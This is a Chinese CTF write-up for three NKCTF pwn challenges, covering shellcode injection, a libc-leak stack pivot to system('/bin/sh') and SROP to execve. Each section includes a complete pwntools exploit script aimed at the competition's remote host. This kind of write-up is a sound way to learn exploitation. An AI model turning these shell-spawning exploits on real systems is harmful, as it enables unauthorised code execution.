ezshellcode
用ida打开
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
char buf[108]; // [rsp+0h] [rbp-70h] BYREF
int v6; // [rsp+6Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
puts("welcome to NKCTF!");
puts("u can make it in 5 min!");
read(0, buf, 0x100uLL);
v3 = strlen(buf);
strncpy(buf2, buf, v3);
puts("good luck!");
v6 = rand() % 100 + 1;
((void (*)(void))&buf2[v6])();
return 0;
}
Start End Perm Size
0x404000 0x405000 rwxp 0x1000
可以看到 第9行代码做了提权 ,bss 0x404080 在 提权的范围之内,所以bss是rwx段
**注意:**在调用rand函数之前,会先查询是否主动调用过srand(seed)来为伪随机数生成器设定种子,如果有,那么就按照我们的代码设定种子,即初始化seed的起始值,若没有调用srand(seed),那么系统会自动给seed赋初始值,即自动调用srand(1)一次,也就是将seed的值设置为1。如果每次调用rand函数时,种子相同,那么根据公式产生的伪随机数将是相同的。
一般是 v0 = time(0LL); srand(v0);,用时间做种子函数,时间是会变得所以,随机值也会跟着变
这里没用种子函数,所以随机值是不会变得,我们可以通过gdb动态调试查看v6得值
pwndbg> p $rbp -4
$4 = (void *) 0x7fffffffde5c
pwndbg> x/10x 0x7fffffffde5c
0x7fffffffde5c: 0x00000054 0x00000001 0x00000000 0xf7c29d90
可以看到 v6得值是0x54
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node2.yuzhian.com.cn',35588)
#p=process('./pwn')
payload=asm(shellcraft.sh())
payload=b'a'*0x54+payload
print(payload)
p.sendlineafter("u can make it in 5 min!\n",payload)
p.recvline()
p.interactive()
a_story_of_a_pwner
用ida打开可以发现几条重要的语句
return read(0, &unk_4050A8, 8uLL); // 0x4050A8
return read(0, &ao, 8uLL); // 0x4050A0
return read(0, &unk_4050B0, 8uLL); // 0x4050B0
ssize_t heart()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
puts("now, come and read my heart...");
return read(0, buf, 0x20uLL);
}
int warning()
{
puts("Before u read this, i think u should read first 3.");
return printf("I give it up, you can see this. %p\n", &puts);
}
题目给了libc文件,这不明摆了提示我们泄露libc吗,
可以看到在 warning函数里吗泄露了puts得got地址,我们就能通过这一漏洞得到system和binsh的地址
可以看到 heart函数 存在栈溢出,但是溢出的字节太少,无法构造rop链,这里我们可以执行栈迁移,可以看到上面我们三条read函数
虽然每次只可以输入8个字节,但是输入数据的地方是连续的,所以满足栈迁移的条件
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node2.yuzhian.com.cn',33962)
libc=ELF('./libc.so.6')
#p=process('./pwn')
elf=ELF('./pwn')
rdi=0x0000000000401573 #ROPgadget --binary 文件名
leave=0x000000000040139e #ROPgadget --binary 文件名
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.symbols['main']
p.sendlineafter('> \n',b'4')
p.recvuntil('0x')
puts=int(p.recv(12),16)
print(hex(puts))
base=puts-libc.symbols['puts']
system=base+libc.symbols['system']
binsh=base+next(libc.search(b'/bin/sh'))
p.sendlineafter('> \n',b'1') #4050A8
p.sendafter('comment?\n',p64(binsh))
p.sendlineafter('> \n',b'2') #4050A0
p.sendafter('corment?\n',p64(rdi))
p.sendlineafter('> \n',b'3') #4050B0
p.sendafter('corMenT?\n',p64(system))
p.sendlineafter('> \n',b'4')
p.sendlineafter("now, come and read my heart...\n",b'a'*0xa+p64(0x4050A0-8)+p64(leave))
#0x4050A0-8,减8是因为,pop rbp 会抬高8个字节
p.interactive()
ez_stack
用ida打开
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-73DgNLXT-1679873879985)(C:\Users\24603\AppData\Roaming\Typora\typora-user-images\image-20230326213300504.png)]
发现函数很少,只有一个vuln函数 ,和一个可疑函数 sub_401136
__int64 sub_401136()
{
return MEMORY[0x50FC30000000FC0]();
}
.text:00000000004011B9 ; __unwind {
.text:00000000004011B9 F3 0F 1E FA endbr64
.text:00000000004011BD 55 push rbp
.text:00000000004011BE 48 89 E5 mov rbp, rsp
.text:00000000004011C1 48 C7 C0 01 00 00 00 mov rax, 1
.text:00000000004011C8 48 C7 C2 26 00 00 00 mov rdx, 26h ; '&' ; count
.text:00000000004011CF 48 8D 34 25 40 40 40 00 lea rsi, nkctf ; "Welcome to the binary world of NKCTF!\n"
.text:00000000004011D7 48 89 C7 mov rdi, rax ; fd
.text:00000000004011DA 0F 05 syscall ; LINUX - sys_write
.text:00000000004011DC 48 31 C0 xor rax, rax
.text:00000000004011DF 48 C7 C2 00 02 00 00 mov rdx, 200h ; count
.text:00000000004011E6 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:00000000004011EB 48 89 C7 mov rdi, rax ; fd
.text:00000000004011EE 0F 05 syscall ; LINUX - sys_read
.text:00000000004011F0 B8 00 00 00 00 mov eax, 0
.text:00000000004011F5 5D pop rbp
.text:00000000004011F6 C3 retn
.text:00000000004011F6 ; } // starts at 4011B9
:0000000000401136 ; __unwind {
.text:0000000000401136 F3 0F 1E FA endbr64
.text:000000000040113A 55 push rbp
.text:000000000040113B 48 89 E5 mov rbp, rsp
.text:000000000040113E FF 14 25 48 11 40 00 call ds:qword_401148 //没任何用的函数
.text:000000000040113E
.text:0000000000401145 C3 retn
.text:0000000000401145
.text:0000000000401145 _sub_401136 endp ; sp-analysis failed
.text:0000000000401145
.text:0000000000401146 48 C7 dw 0C748h
考的srop
from pwn import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p=remote('node2.yuzhian.com.cn',37653)
sigreturn = 0x0000000000401146 #0x0000000000401146 : mov rax, 0xf ; ret
syscall = 0x000000004011EE #虽然不止一条syscall指令,但必须用read的syscall指令
frame = SigreturnFrame() #第一次伪造frame是为了得到/bin/sh的地址
frame.rax = 0 #read系统调用号
frame.rdi = 0 #read的第一个参数
frame.rsi = 0x404000 #read的第二个参数,用vmmap 查找rw段 0x404000 0x405000 rw-p
frame.rdx = 0x100 #read的第三个参数
frame.rip = syscall #rip是下一条要执行的地址的指令,也就是去执行我们伪造的frame
frame.rbp = 0x404000 + 0x20 #为了实现第二次溢出 rbp与我们输入点差0x20
frame.rsp = 0x404000 + 0x20 #一定要加这条,不然rbp指向0x0
payload=flat(['a'*0x18, sigreturn, syscall, frame]) #0x18的垃圾数据
p.sendlineafter("Welcome to the binary world of NKCTF!\n",payload)
frame = SigreturnFrame() #第二次伪造frame是为了执行execve('/bin/sh\x00',0,0)
frame.rax = 0x3b #execve系统调用号
frame.rdi =0x404000 #我们即将输入‘bin/sh’的地址
frame.rsi = 0 #execve的第二个参数
frame.rdx = 0 #execve的第三个参数
frame.rip = syscall #rip是下一条要执行的地址的指令,也就是去执行我们伪造的frame
payload=flat(['/bin/sh\x00'+'a'*0x20, sigreturn, syscall, frame]) #'/bin/sh\x00'+0x20=0x28字节是为了溢出
p.sendline(payload)
p.interactive()